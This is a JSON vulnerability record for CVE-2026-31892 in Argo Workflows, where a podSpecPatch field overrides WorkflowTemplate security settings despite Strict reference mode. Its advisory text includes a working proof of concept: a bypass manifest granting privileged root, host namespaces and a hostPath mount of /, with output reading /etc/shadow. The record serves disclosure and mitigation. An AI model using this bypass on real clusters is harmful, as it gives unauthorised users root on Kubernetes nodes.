{"id":"CVE-2026-31892","aliases":["CVE-2026-31892","GHSA-3wf5-g532-rcrr","BIT-ARGO-WORKFLOWS-2026-31892","GO-2026-4681"],"related":["CGA-pg6c-j3hv-fx66"],"kind":"vulnerability","state":"published","title":"WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode","summary":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 2.9.0 to before 4.0.2 and 3.7.11, A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation. This vulnerability is fixed in 4.0.2 and 3.7.11.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From 2.9.0 to before 4.0.2 and 3.7.11, A user who can submit Workflows can completely bypass all security settings defined in a WorkflowTemplate by including a podSpecPatch field in their Workflow submission. This works even when the controller is configured with templateReferencing: Strict, which is specifically documented as a mechanism to restrict users to admin-approved templates. The podSpecPatch field on a submitted Workflow takes precedence over the referenced WorkflowTemplate during spec merging and is applied directly to the pod spec at creation time with no security validation. This vulnerability is fixed in 4.0.2 and 3.7.11.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nA user who can submit Workflows can completely bypass all security settings defined in a `WorkflowTemplate` by including a `podSpecPatch` field in their Workflow submission. This works even when the controller is configured with `templateReferencing: Strict`, which is specifically documented as a mechanism to restrict users to admin-approved templates. The `podSpecPatch` field on a submitted Workflow takes precedence over the referenced `WorkflowTemplate` during spec merging and is applied directly to the pod spec at creation time with no security validation.\n\n## Details\n\nThree issues combine to create this vulnerability:\n\n1. Merge priority order:`JoinWorkflowSpec` merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because `podSpecPatch` is a plain string field, the Workflow's value replaces the WorkflowTemplate's value.\n\n2. No security validation on `podSpecPatch`: `ApplyPodSpecPatch()` only validates that the patch is syntactically valid JSON conforming to the Kubernetes `PodSpec` schema. No checks are performed for dangerous security settings such as `privileged: true`.\n\n3. `templateReferencing: Strict` does not restrict `podSpecPatch`: Strict mode only checks whether `WorkflowTemplateRef` is set. If it is, the Workflow passes validation regardless of what other fields (including `podSpecPatch`) are present.\n\n## PoC\n\n### Prerequisites\n\nA local Kubernetes cluster with Argo Workflows installed. The instructions below use [kind](https://kind.sigs.k8s.io/).\n\n#### 1. Create a kind cluster and install Argo Workflows\n\n```bash\nkind create cluster --name argo-poc\n\nkubectl create namespace argo\nkubectl apply -n argo --server-side \\\n  -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml\n```\n\nNote: `--server-side` is required because some CRDs exceed the client-side annotation size limit.\n\nWait for the controller to be ready:\n\n```bash\nkubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s\n```\n\n#### 2. Enable `templateReferencing: Strict`\n\nPatch the workflow controller configmap to enforce Strict mode:\n\n```bash\nkubectl patch configmap workflow-controller-configmap -n argo --type merge \\\n  -p '{\"data\":{\"workflowRestrictions\":\"templateReferencing: Strict\\n\"}}'\n```\n\nRestart the controller to pick up the new config:\n\n```bash\nkubectl rollout restart deployment workflow-controller -n argo\nkubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s\n```\n\n#### 3. Verify Strict mode is active\n\nAttempt to submit a standalone Workflow (no `workflowTemplateRef`). It should be rejected:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: strict-test-\nspec:\n  entrypoint: test\n  templates:\n  - name: test\n    container:\n      image: alpine\n      command: [echo, \"hello\"]\nEOF\n```\n\nThe Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:\n\n```bash\nSTRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1)\nkubectl get -n argo \"$STRICT_WF\" -o jsonpath='{.status.phase} {.status.message}'\n```\n\nExpected output:\n\n```\nError workflows must use workflowTemplateRef to be executed when the controller is in reference mode\n```\n\n#### 4: Create a hardened WorkflowTemplate\n\nAn administrator creates a `WorkflowTemplate` with restrictive security settings:\n\n```bash\ncat <<'EOF' | kubectl apply -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n  name: secure-template\n  namespace: argo\n  annotations:\n    description: \"Admin-approved secure template with hardened security settings\"\nspec:\n  entrypoint: secure-task\n  securityContext:\n    runAsNonRoot: true\n    runAsUser: 1000\n    fsGroup: 1000\n  templates:\n  - name: secure-task\n    container:\n      image: alpine:latest\n      command: [\"/bin/sh\", \"-c\"]\n      args:\n        - |\n          echo \"=== Security Context Check ===\"\n          echo \"Current UID: $(id -u)\"\n          echo \"Current GID: $(id -g)\"\n          if cat /etc/shadow 2>/dev/null; then\n            echo \"EXPLOITED: Can read /etc/shadow!\"\n          else\n            echo \"SECURE: Cannot read /etc/shadow\"\n          fi\n          if ls /host/etc/passwd 2>/dev/null; then\n            echo \"EXPLOITED: Host filesystem accessible!\"\n            cat /host/etc/passwd | head -5\n          else\n            echo \"SECURE: No host filesystem access\"\n          fi\n          if [ \"$(id -u)\" = \"0\" ]; then\n            echo \"EXPLOITED: Running as root!\"\n          else\n            echo \"SECURE: Running as non-root (UID: $(id -u))\"\n          fi\n          echo \"=== End Check ===\"\n      securityContext:\n        runAsNonRoot: true\n        runAsUser: 1000\n        allowPrivilegeEscalation: false\n        capabilities:\n          drop:\n            - ALL\nEOF\n```\n\n#### 5. Submit a legitimate Workflow (baseline)\n\nSubmit a Workflow that references the secure template without modification:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: legit-use-\n  namespace: argo\nspec:\n  workflowTemplateRef:\n    name: secure-template\nEOF\n```\n\nWait for completion and check logs:\n\n```bash\nLEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1)\nkubectl wait -n argo --for=condition=Completed \"$LEGIT_WF\" --timeout=120s\nkubectl logs -n argo -l \"workflows.argoproj.io/workflow=$(basename $LEGIT_WF)\" -c main\n```\n\nExpected output (confirming the template's security settings are applied):\n\n```\n=== Security Context Check ===\nCurrent UID: 1000\nCurrent GID: 0\nSECURE: Cannot read /etc/shadow\nSECURE: No host filesystem access\nSECURE: Running as non-root (UID: 1000)\n=== End Check ===\n```\n\n#### 6. Submit the bypass Workflow\n\nSubmit a Workflow that references the same secure template but includes a `podSpecPatch` that overrides all security settings:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: bypass-security-\n  namespace: argo\nspec:\n  workflowTemplateRef:\n    name: secure-template\n  podSpecPatch: |\n    hostPID: true\n    hostNetwork: true\n    containers:\n    - name: main\n      securityContext:\n        privileged: true\n        runAsUser: 0\n        runAsNonRoot: false\n        allowPrivilegeEscalation: true\n        capabilities:\n          add:\n            - ALL\n          drop: []\n      volumeMounts:\n      - name: host-root\n        mountPath: /host\n    volumes:\n    - name: host-root\n      hostPath:\n        path: /\n        type: Directory\nEOF\n```\n\nWait for completion and check logs:\n\n```bash\nBYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1)\nkubectl wait -n argo --for=condition=Completed \"$BYPASS_WF\" --timeout=120s\nkubectl logs -n argo -l \"workflows.argoproj.io/workflow=$(basename $BYPASS_WF)\" -c main\n```\n\nExpected output (all security settings bypassed):\n\n```\n=== Security Context Check ===\nCurrent UID: 0\nCurrent GID: 0\nroot:*::0:::::\nbin:!::0:::::\n[... /etc/shadow contents dumped ...]\nEXPLOITED: Can read /etc/shadow!\nEXPLOITED: Host filesystem accessible!\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n[... host /etc/passwd contents ...]\nEXPLOITED: Running as root!\n=== End Check ===\n```\n\nThe file `/etc/shadow` is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.\n\n## Impact\n\nThe purpose of `templateReferencing: Strict` is to restrict users to only execute admin-approved `WorkflowTemplates`. This is explicitly [documented](https://argo-workflows.readthedocs.io/en/latest/security/) as a security feature:\n\n> You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.\n\nA user who can submit Workflows referencing approved templates can use `podSpecPatch` to:\n\n- Run containers as root (`runAsUser: 0`)\n- Enable privileged mode (`privileged: true`)\n- Mount the host filesystem (`hostPath` volumes)\n- Share host PID/network/IPC namespaces (`hostPID`, `hostNetwork`, `hostIPC`)\n- Add all Linux capabilities (`capabilities.add: [\"ALL\"]`)\n\nThis effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the `WorkflowTemplate`.\n\nThe `templateReferencing` feature was introduced in Argo Workflows v2.9.0 through PR #3149.\n\n## Mitigation\n\nWhen `templateReferencing: Strict` or `Secure` is enabled, the controller should reject Workflows that include a `podSpecPatch` field when using `workflowTemplateRef`.\n\nWithout the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (`privileged`, `hostPID`, `hostNetwork`, `hostIPC`, `hostPath`) on pods created by Argo Workflows.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Argo Workflows: WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode in github.com/argoproj/argo-workflows","format":"markdown","source":"go"},{"lang":"es","text":"Argo Workflows es un motor de flujo de trabajo de código abierto nativo de contenedores para orquestar trabajos paralelos en Kubernetes. Desde la versión 2.9.0 hasta antes de la 4.0.2 y la 3.7.11, un usuario que puede enviar Workflows puede eludir completamente todas las configuraciones de seguridad definidas en un WorkflowTemplate al incluir un campo podSpecPatch en su envío de Workflow. Esto funciona incluso cuando el controlador está configurado con templateReferencing: Strict, que está específicamente documentado como un mecanismo para restringir a los usuarios a plantillas aprobadas por el administrador. El campo podSpecPatch en un Workflow enviado tiene precedencia sobre el WorkflowTemplate referenciado durante la fusión de especificaciones y se aplica directamente a la especificación del pod en el momento de la creación sin validación de seguridad. Esta vulnerabilidad está corregida en las versiones 4.0.2 y 3.7.11.","source":"nvd"}],"published":"2026-03-11T15:41:14.376Z","modified":"2026-09-29T10:00:05.452Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H","score":8.9,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H","score":8.9,"rating":"HIGH"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"CRITICAL"}],"cwes":["CWE-807","CWE-863"],"affected":[{"ranges":[{"version":">= 4.0.0, < 4.0.2","status":"affected"},{"version":">= 2.9.0, < 3.7.11","status":"affected"}],"vendor":"argoproj","product":"argo-workflows","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1776740558","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","package":"rhoai/odh-data-science-pipelines-argo-argoexec-rhel9","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1776740640","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","package":"rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1776740726","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","package":"rhoai/odh-ml-pipelines-api-server-v2-rhel9","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1776740379","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","package":"rhoai/odh-ml-pipelines-driver-rhel9","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1776740386","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","package":"rhoai/odh-ml-pipelines-launcher-rhel9","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1776740351","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","package":"rhoai/odh-ml-pipelines-persistenceagent-v2-rhel9","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","source":"cvelist"},{"ranges":[{"type":"rpm","introduced":"1776740366","fixed":"*","status":"unaffected"}],"vendor":"Red Hat","product":"Red Hat OpenShift AI 2.25","package":"rhoai/odh-ml-pipelines-scheduledworkflow-v2-rhel9","cpe":"cpe:/a:redhat:openshift_ai:2.25::el9","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-api-server-v2-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-driver-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-launcher-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-persistenceagent-v2-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","package":"rhoai/odh-ml-pipelines-scheduledworkflow-v2-rhel8","cpe":"cpe:/a:redhat:openshift_ai","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"4.0.2"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v4","purl":"pkg:golang/github.com/argoproj/argo-workflows/v4","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.7.11"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v3","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"2.9.0","status":"affected"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows","purl":"pkg:golang/github.com/argoproj/argo-workflows","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows","purl":"pkg:golang/github.com/argoproj/argo-workflows","source":"go"},{"ranges":[{"type":"semver","introduced":"2.9.0","status":"affected"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v2","purl":"pkg:golang/github.com/argoproj/argo-workflows/v2","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.7.11"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v3","purl":"pkg:golang/github.com/argoproj/argo-workflows/v3","source":"go"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"4.0.2"}],"ecosystem":"Go","package":"github.com/argoproj/argo-workflows/v4","purl":"pkg:golang/github.com/argoproj/argo-workflows/v4","source":"go"},{"ranges":[{"status":"affected","introduced":"2.9.0","fixed":"3.7.11"},{"status":"affected","introduced":"4.0.0","fixed":"4.0.2"}],"vendor":"argoproj","product":"argo_workflows","cpe":"cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*","source":"nvd"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"3.7.11"},{"type":"semver","introduced":"4.0.0","status":"affected","fixed":"4.0.2"}],"ecosystem":"Bitnami","package":"argo-workflows","purl":"pkg:bitnami/argo-workflows","source":"bitnami"}],"references":[{"url":"https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3wf5-g532-rcrr","tags":["advisory","exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd","bitnami"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-31892","tags":["vdb-entry","web","x-refsource-redhat"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2446551","tags":["issue-tracking","web","x-refsource-redhat"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31892.json","tags":["web","x-sadp-csaf-vex"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://access.redhat.com/errata/RHSA-2026:10184","tags":["vendor-advisory","web","x-refsource-redhat"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31892","tags":["advisory","web"],"sources":["ghsa","go","bitnami"]},{"url":"https://github.com/argoproj/argo-workflows","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-03-11T16:03:11.725Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-31892","url":"https://www.cve.org/CVERecord?id=CVE-2026-31892","licence":"CVE Terms of Use","modified":"2026-07-15T01:08:46.120Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3wf5-g532-rcrr","url":"https://github.com/advisories/GHSA-3wf5-g532-rcrr","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:36.947Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4681","url":"https://pkg.go.dev/vuln/GO-2026-4681","licence":"CC-BY-4.0","modified":"2026-03-23T04:56:07.259Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-31892","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-31892","licence":"Public domain","modified":"2026-07-15T02:19:51.447Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-ARGO-WORKFLOWS-2026-31892","url":"https://osv.dev/vulnerability/BIT-ARGO-WORKFLOWS-2026-31892","licence":"Apache-2.0","modified":"2026-09-29T10:00:05.452Z"}],"updatedAt":"2026-11-25T22:59:15.743Z","epss":{"score":0.00554,"percentile":0.4764,"date":"2026-12-01T12:00:22.000Z"}}